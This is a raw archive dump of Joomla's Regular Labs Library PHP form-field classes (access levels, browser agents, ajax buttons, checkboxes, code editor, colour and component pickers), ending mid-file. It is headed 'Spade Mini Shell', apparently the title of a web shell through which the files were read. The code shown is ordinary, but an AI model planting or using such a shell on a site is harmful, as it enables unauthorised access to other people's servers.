Spade
Mini Shell
autoload.php000064400000000065151165347150007076 0ustar00<?php
require_once __DIR__ . '/vendor/autoload.php';
fields/accesslevel.php000064400000004230151165347150011023 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
use Joomla\Registry\Registry;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_AccessLevel extends \RegularLabs\Library\Field
{
public $type = 'AccessLevel';
protected function getInput()
{
$size = (int) $this->get('size');
$multiple = $this->get('multiple');
$show_all = $this->get('show_all');
$use_names = $this->get('use_names');
return $this->selectListAjax(
$this->type, $this->name, $this->value, $this->id,
compact('size', 'multiple', 'show_all',
'use_names')
);
}
function getAjaxRaw(Registry $attributes)
{
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$multiple = $attributes->get('multiple');
$options = $this->getOptions(
(bool) $attributes->get('show_all'),
(bool) $attributes->get('use_names')
);
return $this->selectList($options, $name, $value, $id, $size,
$multiple);
}
protected function getOptions($show_all = false, $use_names = false)
{
$options = $this->getAccessLevels($use_names);
if ($show_all)
{
$option = (object) [];
$option->value = -1;
$option->text = '- ' . JText::_('JALL') .
' -';
$option->disable = '';
array_unshift($options, $option);
}
return $options;
}
protected function getAccessLevels($use_names = false)
{
$value = $use_names ? 'a.title' : 'a.id';
$query = $this->db->getQuery(true)
->select($value . ' as value, a.title as text')
->from('#__viewlevels AS a')
->group('a.id')
->order('a.ordering ASC');
$this->db->setQuery($query);
return $this->db->loadObjectList();
}
}
fields/agents.php000064400000016304151165347150010020 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\Registry\Registry;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Agents extends \RegularLabs\Library\Field
{
public $type = 'Agents';
protected function getInput()
{
if ( ! is_array($this->value))
{
$this->value = explode(',', $this->value);
}
$size = (int) $this->get('size');
$group = $this->get('group', 'os');
return $this->selectListSimpleAjax(
$this->type, $this->name, $this->value, $this->id,
compact('size', 'group')
);
}
function getAjaxRaw(Registry $attributes)
{
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$options = $this->getAgents(
$attributes->get('group')
);
return $this->selectListSimple($options, $name, $value, $id, $size,
true);
}
function getAgents($group = 'os')
{
$agents = [];
switch ($group)
{
/* OS */
case 'os':
$agents[] = ['Windows (' . JText::_('JALL') .
')', 'Windows'];
$agents[] = ['Windows 10', 'Windows nt 10.0'];
$agents[] = ['Windows 8', 'Windows nt 6.2'];
$agents[] = ['Windows 7', 'Windows nt 6.1'];
$agents[] = ['Windows Vista', 'Windows nt 6.0'];
$agents[] = ['Windows Server 2003', 'Windows nt
5.2'];
$agents[] = ['Windows XP', 'Windows nt 5.1'];
$agents[] = ['Windows 2000 sp1', 'Windows nt
5.01'];
$agents[] = ['Windows 2000', 'Windows nt 5.0'];
$agents[] = ['Windows NT 4.0', 'Windows nt 4.0'];
$agents[] = ['Windows Me', 'Win 9x 4.9'];
$agents[] = ['Windows 98', 'Windows 98'];
$agents[] = ['Windows 95', 'Windows 95'];
$agents[] = ['Windows CE', 'Windows ce'];
$agents[] = ['Mac OS (' . JText::_('JALL') .
')', '#(Mac OS|Mac_PowerPC|Macintosh)#'];
$agents[] = ['Mac OSX (' . JText::_('JALL') .
')', 'Mac OS X'];
$agents[] = ['Mac OSX El Capitan', 'Mac OS X
10.11'];
$agents[] = ['Mac OSX Yosemite', 'Mac OS X 10.10'];
$agents[] = ['Mac OSX Mavericks', 'Mac OS X 10.9'];
$agents[] = ['Mac OSX Mountain Lion', 'Mac OS X
10.8'];
$agents[] = ['Mac OSX Lion', 'Mac OS X 10.7'];
$agents[] = ['Mac OSX Snow Leopard', 'Mac OS X
10.6'];
$agents[] = ['Mac OSX Leopard', 'Mac OS X 10.5'];
$agents[] = ['Mac OSX Tiger', 'Mac OS X 10.4'];
$agents[] = ['Mac OSX Panther', 'Mac OS X 10.3'];
$agents[] = ['Mac OSX Jaguar', 'Mac OS X 10.2'];
$agents[] = ['Mac OSX Puma', 'Mac OS X 10.1'];
$agents[] = ['Mac OSX Cheetah', 'Mac OS X 10.0'];
$agents[] = ['Mac OS (classic)',
'#(Mac_PowerPC|Macintosh)#'];
$agents[] = ['Linux', '#(Linux|X11)#'];
$agents[] = ['Open BSD', 'OpenBSD'];
$agents[] = ['Sun OS', 'SunOS'];
$agents[] = ['QNX', 'QNX'];
$agents[] = ['BeOS', 'BeOS'];
$agents[] = ['OS/2', 'OS/2'];
break;
/* Browsers */
case 'browsers':
if ($this->get('simple') &&
$this->get('simple') !== 'false')
{
$agents[] = ['Chrome', 'Chrome'];
$agents[] = ['Firefox', 'Firefox'];
$agents[] = ['Edge', 'Edge'];
$agents[] = ['Internet Explorer', 'MSIE'];
$agents[] = ['Opera', 'Opera'];
$agents[] = ['Safari', 'Safari'];
break;
}
$agents[] = ['Chrome (' . JText::_('JALL') .
')', 'Chrome'];
$agents[] = ['Chrome 61-70',
'#Chrome/(6[1-9]|70)\.#'];
$agents[] = ['Chrome 51-60',
'#Chrome/(5[1-9]|60)\.#'];
$agents[] = ['Chrome 41-50',
'#Chrome/(4[1-9]|50)\.#'];
$agents[] = ['Chrome 31-40',
'#Chrome/(3[1-9]|40)\.#'];
$agents[] = ['Chrome 21-30',
'#Chrome/(2[1-9]|30)\.#'];
$agents[] = ['Chrome 11-20',
'#Chrome/(1[1-9]|20)\.#'];
$agents[] = ['Chrome 1-10',
'#Chrome/([1-9]|10)\.#'];
$agents[] = ['Firefox (' . JText::_('JALL') .
')', 'Firefox'];
$agents[] = ['Firefox 61-70',
'#Firefox/(6[1-9]|70)\.#'];
$agents[] = ['Firefox 51-60',
'#Firefox/(5[1-9]|60)\.#'];
$agents[] = ['Firefox 41-50',
'#Firefox/(4[1-9]|50)\.#'];
$agents[] = ['Firefox 31-40',
'#Firefox/(3[1-9]|40)\.#'];
$agents[] = ['Firefox 21-30',
'#Firefox/(2[1-9]|30)\.#'];
$agents[] = ['Firefox 11-20',
'#Firefox/(1[1-9]|20)\.#'];
$agents[] = ['Firefox 1-10',
'#Firefox/([1-9]|10)\.#'];
$agents[] = ['Internet Explorer (' .
JText::_('JALL') . ')', 'MSIE'];
$agents[] = ['Internet Explorer Edge', 'MSIE
Edge']; // missing MSIE is added to agent string in
assignments/agents.php
$agents[] = ['Edge 15', 'Edge/15'];
$agents[] = ['Edge 14', 'Edge/14'];
$agents[] = ['Edge 13', 'Edge/13'];
$agents[] = ['Edge 12', 'Edge/12'];
$agents[] = ['Internet Explorer 11', 'MSIE 11']; //
missing MSIE is added to agent string in assignments/agents.php
$agents[] = ['Internet Explorer 10.6', 'MSIE
10.6'];
$agents[] = ['Internet Explorer 10.0', 'MSIE
10.0'];
$agents[] = ['Internet Explorer 10', 'MSIE 10.'];
$agents[] = ['Internet Explorer 9', 'MSIE 9.'];
$agents[] = ['Internet Explorer 8', 'MSIE 8.'];
$agents[] = ['Internet Explorer 7', 'MSIE 7.'];
$agents[] = ['Internet Explorer 1-6', '#MSIE
[1-6]\.#'];
$agents[] = ['Opera (' . JText::_('JALL') .
')', 'Opera'];
$agents[] = ['Opera 51-60',
'#Opera/(5[1-9]|60)\.#'];
$agents[] = ['Opera 41-50',
'#Opera/(4[1-9]|50)\.#'];
$agents[] = ['Opera 31-40',
'#Opera/(3[1-9]|40)\.#'];
$agents[] = ['Opera 21-30',
'#Opera/(2[1-9]|30)\.#'];
$agents[] = ['Opera 11-20',
'#Opera/(1[1-9]|20)\.#'];
$agents[] = ['Opera 1-10', '#Opera/([1-9]|10)\.#'];
$agents[] = ['Safari (' . JText::_('JALL') .
')', 'Safari'];
$agents[] = ['Safari 11',
'#Version/11\..*Safari/#'];
$agents[] = ['Safari 10',
'#Version/10\..*Safari/#'];
$agents[] = ['Safari 9', '#Version/9\..*Safari/#'];
$agents[] = ['Safari 8', '#Version/8\..*Safari/#'];
$agents[] = ['Safari 7', '#Version/7\..*Safari/#'];
$agents[] = ['Safari 6', '#Version/6\..*Safari/#'];
$agents[] = ['Safari 5', '#Version/5\..*Safari/#'];
$agents[] = ['Safari 4', '#Version/4\..*Safari/#'];
$agents[] = ['Safari 1-3',
'#Version/[1-3]\..*Safari/#'];
break;
/* Mobile browsers */
case 'mobile':
$agents[] = [JText::_('JALL'), 'mobile'];
$agents[] = ['Android', 'Android'];
$agents[] = ['Android Chrome',
'#Android.*Chrome#'];
$agents[] = ['Blackberry', 'Blackberry'];
$agents[] = ['IE Mobile', 'IEMobile'];
$agents[] = ['iPad', 'iPad'];
$agents[] = ['iPhone', 'iPhone'];
$agents[] = ['iPod Touch', 'iPod'];
$agents[] = ['NetFront', 'NetFront'];
$agents[] = ['Nokia', 'NokiaBrowser'];
$agents[] = ['Opera Mini', 'Opera Mini'];
$agents[] = ['Opera Mobile', 'Opera Mobi'];
$agents[] = ['UC Browser', 'UC Browser'];
break;
}
$options = [];
foreach ($agents as $agent)
{
$option = JHtml::_('select.option', $agent[1], $agent[0]);
$options[] = $option;
}
return $options;
}
}
fields/ajax.php000064400000011024151165347150007454 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\Document as RL_Document;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Ajax extends \RegularLabs\Library\Field
{
public $type = 'Ajax';
protected function getInput()
{
RL_Document::loadMainDependencies();
$class = $this->get('class', 'btn');
if ($this->get('disabled'))
{
return $this->getButton($class . ' disabled',
'disabled');
}
$loading = 'jQuery("#' . $this->id . '
span:nth-child(1)").attr("class", "icon-refresh
icon-spin");';
$success = '
jQuery("#' . $this->id .
'").removeClass("btn-warning").addClass("btn-success");
jQuery("#' . $this->id . '
span:nth-child(1)").attr("class", "icon-ok");
if(data){
jQuery("#message_' . $this->id .
'").addClass("alert alert-success alert-noclose
alert-inline").html(data);
}
';
$error = '
jQuery("#' . $this->id .
'").removeClass("btn-success").addClass("btn-warning");
jQuery("#' . $this->id . '
span:nth-child(1)").attr("class", "icon-warning");
if(data){
let error = data;
if(data.statusText) {
error = data.statusText;
if(data.responseText.test(/<blockquote>/)) {
error =
data.responseText.replace(/^[.\\\\s\\\\S]*?<blockquote>([.\\\\s\\\\S]*?)<\\\\/blockquote>[.\\\\s\\\\S]*$/gm,
"$1");
}
}
jQuery("#message_' . $this->id .
'").addClass("alert alert-danger alert-noclose
alert-inline").html(error);
}';
if ($this->get('success-disabled'))
{
$success .= '
jQuery("#' . $this->id . '").disabled = true;
jQuery("#' . $this->id .
'").addClass("disabled");
jQuery("#' . $this->id .
'").attr("onclick", "return false;");
';
}
if ($this->get('success-text') ||
$this->get('error-text'))
{
$success_text = $this->get('success-text',
$this->get('text'));
$error_text = $this->get('error-text',
$this->get('text'));
$success .= '
jQuery("#' . $this->id . '
span:nth-child(2)").text("' .
addslashes(JText::_($success_text)) . '");
';
$error .= '
jQuery("#' . $this->id . '
span:nth-child(2)").text("' .
addslashes(JText::_($error_text)) . '");
';
}
$query = '';
if ($url_query = $this->get('url-query'))
{
$name_prefix = $this->form->getFormControl() . '\\\[' .
$this->group . '\\\]';
$id_prefix = $this->form->getFormControl() . '_' .
$this->group . '_';
$query_parts = [];
$url_query = explode(',', $url_query);
foreach ($url_query as $url_query_part)
{
list($key, $id) = explode(':', $url_query_part);
$el_name = 'document.querySelector("input[name=' .
$name_prefix . '\\\[' . $id . '\\\]]:checked")';
$el_id = 'document.querySelector("#' . $id_prefix .
$id . '")';
$query_parts[] = '`&' . $key . '=`'
. ' + encodeURI(' . $el_name . ' ? ' . $el_name .
'.value : (' . $el_id . ' ? ' . $el_id .
'.value' . ' : ""))';
}
$query = '+' . implode('+', $query_parts);
}
$script = 'function loadAjax' . $this->id . '() {
' . $loading . '
jQuery("#message_' . $this->id .
'").attr("class", "").html("");
RegularLabsScripts.loadajax(
`' . addslashes($this->get('url')) . '`' .
$query . ',
`
if(data == "" || data.substring(0,1) == "+") {
data = data.trim().replace(/^[+]/, "");
' . $success . '
} else {
data = data.trim().replace(/^[-]/, "");
' . $error . '
}`,
`' . $error . '`
);
}';
$script = preg_replace('#\s*\n\s*#', ' ', $script);
JFactory::getDocument()->addScriptDeclaration($script);
$attributes = 'onclick="loadAjax' . $this->id .
'();return false;"';
return $this->getButton($class, $attributes);
}
private function getButton($class = 'btn', $attributes =
'')
{
$icon = $this->get('icon', '')
? 'icon-' . $this->get('icon', '')
: '';
return
'<button id="' . $this->id . '"
class="' . $class . '"'
. ' title="' .
JText::_($this->get('description')) . '"'
. ' ' . $attributes . '>'
. '<span class="' . $icon .
'"></span> '
. '<span>' . JText::_($this->get('text',
$this->get('label'))) . '</span>'
. '</button>'
. '<div id="message_' . $this->id .
'"></div>';
}
}
fields/akeebasubs.php000064400000002245151165347150010643 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_AkeebaSubs extends \RegularLabs\Library\FieldGroup
{
public $type = 'AkeebaSubs';
public $default_group = 'Levels';
protected function getInput()
{
if ($error = $this->missingFilesOrTables(['levels']))
{
return $error;
}
return $this->getSelectList();
}
function getLevels()
{
$query = $this->db->getQuery(true)
->select('l.akeebasubs_level_id as id, l.title AS name,
l.enabled as published')
->from('#__akeebasubs_levels AS l')
->where('l.enabled > -1')
->order('l.title, l.akeebasubs_level_id');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list, ['id']);
}
}
fields/assignmentselection.php000064400000007301151165347150012612
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\StringHelper as RL_String;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
/**
* @deprecated 2018-10-30 Use ConditionSelection instead
*/
class JFormFieldRL_AssignmentSelection extends \RegularLabs\Library\Field
{
public $type = 'AssignmentSelection';
protected function getLabel()
{
return '';
}
protected function getInput()
{
require_once __DIR__ . '/toggler.php';
$toggler = new RLFieldToggler;
$this->value = (int) $this->value;
$label = $this->get('label');
$param_name = $this->get('name');
$use_main_toggle = $this->get('use_main_toggle', 1);
$showclose = $this->get('showclose', 0);
$html = [];
if ( ! $label)
{
if ($use_main_toggle)
{
$html[] = $toggler->getInput(['div' => 1]);
}
$html[] = $toggler->getInput(['div' => 1]);
return '</div>' . implode('', $html);
}
$label = RL_String::html_entity_decoder(JText::_($label));
$html[] = '</div>';
if ($use_main_toggle)
{
$html[] = $toggler->getInput(['div' => 1,
'param' => 'show_assignments|' . $param_name,
'value' => '1|1,2']);
}
$class = 'well well-small rl_well';
if ($this->value === 1)
{
$class .= ' alert-success';
}
else if ($this->value === 2)
{
$class .= ' alert-error';
}
$html[] = '<div class="' . $class .
'">';
if ($showclose &&
JFactory::getUser()->authorise('core.admin'))
{
$html[] = '<button type="button" class="close
rl_remove_assignment"
aria-label="Close">×</button>';
}
$html[] = '<div class="control-group">';
$html[] = '<div class="control-label">';
$html[] = '<label><h4
class="rl_assignmentselection-header">' . $label .
'</h4></label>';
$html[] = '</div>';
$html[] = '<div class="controls">';
$html[] = '<fieldset id="' . $this->id .
'" class="radio btn-group">';
$onclick = ' onclick="RegularLabsForm.setToggleTitleClass(this,
0)"';
$html[] = '<input type="radio" id="' .
$this->id . '0" name="' . $this->name .
'" value="0"' . (( ! $this->value) ? '
checked="checked"' : '') . $onclick .
'>';
$html[] = '<label class="rl_btn-ignore"
for="' . $this->id . '0">' .
JText::_('RL_IGNORE') . '</label>';
$onclick = ' onclick="RegularLabsForm.setToggleTitleClass(this,
1)"';
$html[] = '<input type="radio" id="' .
$this->id . '1" name="' . $this->name .
'" value="1"' . (($this->value === 1) ? '
checked="checked"' : '') . $onclick .
'>';
$html[] = '<label class="rl_btn-include"
for="' . $this->id . '1">' .
JText::_('RL_INCLUDE') . '</label>';
$onclick = ' onclick="RegularLabsForm.setToggleTitleClass(this,
2)"';
$onclick .= ' onload="RegularLabsForm.setToggleTitleClass(this,
' . $this->value . ', 7)"';
$html[] = '<input type="radio" id="' .
$this->id . '2" name="' . $this->name .
'" value="2"' . (($this->value === 2) ? '
checked="checked"' : '') . $onclick .
'>';
$html[] = '<label class="rl_btn-exclude"
for="' . $this->id . '2">' .
JText::_('RL_EXCLUDE') . '</label>';
$html[] = '</fieldset>';
$html[] = '</div>';
$html[] = '</div>';
$html[] = '<div class="clearfix">
</div>';
$html[] = $toggler->getInput(['div' => 1,
'param' => $param_name, 'value' =>
'1,2']);
$html[] = '<div><div>';
return '</div>' . implode('', $html);
}
}
fields/block.php000064400000003360151165347150007627 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Block extends \RegularLabs\Library\Field
{
public $type = 'Block';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$title = $this->get('label');
$description = $this->get('description');
$class = $this->get('class');
$showclose = $this->get('showclose', 0);
$nowell = $this->get('nowell', 0);
$start = $this->get('start', 0);
$end = $this->get('end', 0);
$html = [];
if ($start || ! $end)
{
$html[] = '</div>';
if (strpos($class, 'alert') !== false)
{
$class = 'alert ' . $class;
}
else if ( ! $nowell)
{
$class = 'well well-small ' . $class;
}
$html[] = '<div class="' . $class .
'">';
if ($showclose &&
JFactory::getUser()->authorise('core.admin'))
{
$html[] = '<button type="button" class="close
rl_remove_assignment"
aria-label="Close">×</button>';
}
if ($title)
{
$html[] = '<h4>' . $this->prepareText($title) .
'</h4>';
}
if ($description)
{
$html[] = '<div>' . $this->prepareText($description)
. '</div>';
}
$html[] = '<div><div>';
}
if ( ! $start && ! $end)
{
$html[] = '</div>';
}
return '</div>' . implode('', $html);
}
}
fields/checkbox.php000064400000005107151165347160010325 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Checkbox extends \RegularLabs\Library\Field
{
public $type = 'Checkbox';
protected function getInput()
{
$showcheckall = $this->get('showcheckall', 0);
$checkall = ($this->value == '*');
if ( ! $checkall)
{
if ( ! is_array($this->value))
{
$this->value = explode(',', $this->value);
}
}
$options = [];
foreach ($this->element->children() as $option)
{
if ($option->getName() != 'option')
{
continue;
}
$text = trim((string) $option);
$hasval = 0;
if (isset($option['value']))
{
$val = (string) $option['value'];
$disabled = (int) $option['disabled'];
$hasval = 1;
}
if ($hasval)
{
$option = '<input type="checkbox"
class="rl_' . $this->id . '" id="' .
$this->id . $val . '" name="' . $this->name .
'[]" value="' . $val . '"';
if ($checkall || in_array($val, $this->value))
{
$option .= ' checked="checked"';
}
if ($disabled)
{
$option .= ' disabled="disabled"';
}
$option .= '> <label for="' . $this->id . $val
. '" class="checkboxes">' . JText::_($text) .
'</label>';
}
else
{
$option = '<label
style="clear:both;"><strong>' . JText::_($text) .
'</strong></label>';
}
$options[] = $option;
}
$options = implode('', $options);
if ($showcheckall)
{
$js = "
jQuery(document).ready(function() {
RegularLabsForm.initCheckAlls('rl_checkall_" . $this->id
. "', 'rl_" . $this->id . "');
});
";
JFactory::getDocument()->addScriptDeclaration($js);
$checker = '<input id="rl_checkall_' . $this->id .
'" type="checkbox" onclick="
RegularLabsForm.checkAll( this, \'rl_' . $this->id .
'\' );"> ' . JText::_('JALL');
$options = $checker . '<br>' . $options;
}
$options .= '<input type="hidden" id="' .
$this->id . 'x" name="' . $this->name .
'' . '[]" value="x"
checked="checked">';
$html = [];
$html[] = '<fieldset id="' . $this->id .
'" class="checkbox">';
$html[] = $options;
$html[] = '</fieldset>';
return implode('', $html);
}
}
fields/codeeditor.php000064400000004264151165347160010663 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Editor\Editor as JEditor;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Plugin\PluginHelper as JPluginHelper;
use RegularLabs\Library\Document as RL_Document;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_CodeEditor extends \RegularLabs\Library\Field
{
public $type = 'CodeEditor';
protected function getInput()
{
$width = $this->get('width', '100%');
$height = $this->get('height', 400);
$syntax = $this->get('syntax', 'html');
$this->value = htmlspecialchars(str_replace('\n',
"\n", $this->value), ENT_COMPAT, 'UTF-8');
$editor_plugin = JPluginHelper::getPlugin('editors',
'codemirror');
if (empty($editor_plugin))
{
return
'<textarea name="' . $this->name . '"
style="'
. 'width:' . (strpos($width, '%') ? $width : $width
. 'px') . ';'
. 'height:' . (strpos($height, '%') ? $height :
$height . 'px') . ';'
. '" id="' . $this->id . '">'
. $this->value . '</textarea>';
}
RL_Document::script('regularlabs/codemirror.min.js');
RL_Document::stylesheet('regularlabs/codemirror.min.css');
JFactory::getDocument()->addScriptDeclaration("
jQuery(document).ready(function($) {
RegularLabsCodeMirror.init('" . $this->id . "');
});
");
JFactory::getDocument()->addStyleDeclaration("
#rl_codemirror_" . $this->id . " .CodeMirror {
height: " . $height . "px;
min-height: " . min($height, '100') . "px;
}
");
return '<div class="rl_codemirror"
id="rl_codemirror_' . $this->id . '">'
. JEditor::getInstance('codemirror')->display(
$this->name, $this->value,
$width, $height,
80, 10,
false,
$this->id, null, null,
['markerGutter' => false, 'activeLine' =>
true, 'syntax' => $syntax, 'class' =>
'xxx']
)
. '</div>';
}
}
fields/color.php000064400000003441151165347160007654 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Form\FormField as JFormField;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\RegEx as RL_RegEx;
jimport('joomla.form.formfield');
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Color extends JFormField
{
public $type = 'Color';
protected function getInput()
{
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return null;
}
$field = new RLFieldColor;
return $field->getInput($this->name, $this->id, $this->value,
$this->element->attributes());
}
}
class RLFieldColor
{
function getInput($name, $id, $value, $params)
{
$this->name = $name;
$this->id = $id;
$this->value = $value;
$this->params = $params;
$class = trim('rl_color minicolors ' .
$this->get('class'));
$disabled = $this->get('disabled') ? '
disabled="disabled"' : '';
RL_Document::script('regularlabs/color.min.js');
RL_Document::stylesheet('regularlabs/color.min.css');
$this->value = strtolower(RL_RegEx::replace('[^a-z0-9]',
'', $this->value));
return '<input type="text" name="' .
$this->name . '" id="' . $this->id . '"
class="' . $class . '" value="' .
$this->value . '"' . $disabled . '>';
}
private function get($val, $default = '')
{
return (isset($this->params[$val]) && (string)
$this->params[$val] != '') ? (string) $this->params[$val] :
$default;
}
}
fields/components.php000064400000006763151165347160010735 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\Registry\Registry;
use RegularLabs\Library\RegEx as RL_RegEx;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Components extends \RegularLabs\Library\Field
{
public $type = 'Components';
protected function getInput()
{
$size = (int) $this->get('size');
return $this->selectListSimpleAjax(
$this->type, $this->name, $this->value, $this->id,
compact('size')
);
}
function getAjaxRaw(Registry $attributes)
{
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$options = $this->getComponents();
return $this->selectListSimple($options, $name, $value, $id, $size,
true);
}
function getComponents()
{
$frontend = $this->get('frontend', 1);
$admin = $this->get('admin', 1);
if ( ! $frontend && ! $admin)
{
return [];
}
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');
$query = $this->db->getQuery(true)
->select('e.name, e.element')
->from('#__extensions AS e')
->where('e.type = ' .
$this->db->quote('component'))
->where('e.name != ""')
->where('e.element != ""')
->group('e.element')
->order('e.element, e.name');
$this->db->setQuery($query);
$components = $this->db->loadObjectList();
$comps = [];
$lang = JFactory::getLanguage();
foreach ($components as $i => $component)
{
if (empty($component->element))
{
continue;
}
$component_folder = ($frontend ? JPATH_SITE : JPATH_ADMINISTRATOR) .
'/components/' . $component->element;
if ( ! JFolder::exists($component_folder) && $admin)
{
$component_folder = JPATH_ADMINISTRATOR . '/components/' .
$component->element;
}
// return if there is no main component folder
if ( ! JFolder::exists($component_folder))
{
continue;
}
// return if there is no view(s) folder
if ( ! JFolder::exists($component_folder . '/views')
&& ! JFolder::exists($component_folder . '/view'))
{
continue;
}
if (strpos($component->name, ' ') === false)
{
// Load the core file then
// Load extension-local file.
$lang->load($component->element . '.sys', JPATH_BASE,
null, false, false)
|| $lang->load($component->element . '.sys',
JPATH_ADMINISTRATOR . '/components/' . $component->element,
null, false, false)
|| $lang->load($component->element . '.sys',
JPATH_BASE, $lang->getDefault(), false, false)
|| $lang->load($component->element . '.sys',
JPATH_ADMINISTRATOR . '/components/' . $component->element,
$lang->getDefault(), false, false);
$component->name = JText::_(strtoupper($component->name));
}
$comps[RL_RegEx::replace('[^a-z0-9_]', '',
$component->name . '_' . $component->element)] =
$component;
}
ksort($comps);
$options = [];
foreach ($comps as $component)
{
$options[] = JHtml::_('select.option', $component->element,
$component->name);
}
return $options;
}
}
fields/conditionselection.php000064400000007505151165347160012437
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\ShowOn as RL_ShowOn;
use RegularLabs\Library\StringHelper as RL_String;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
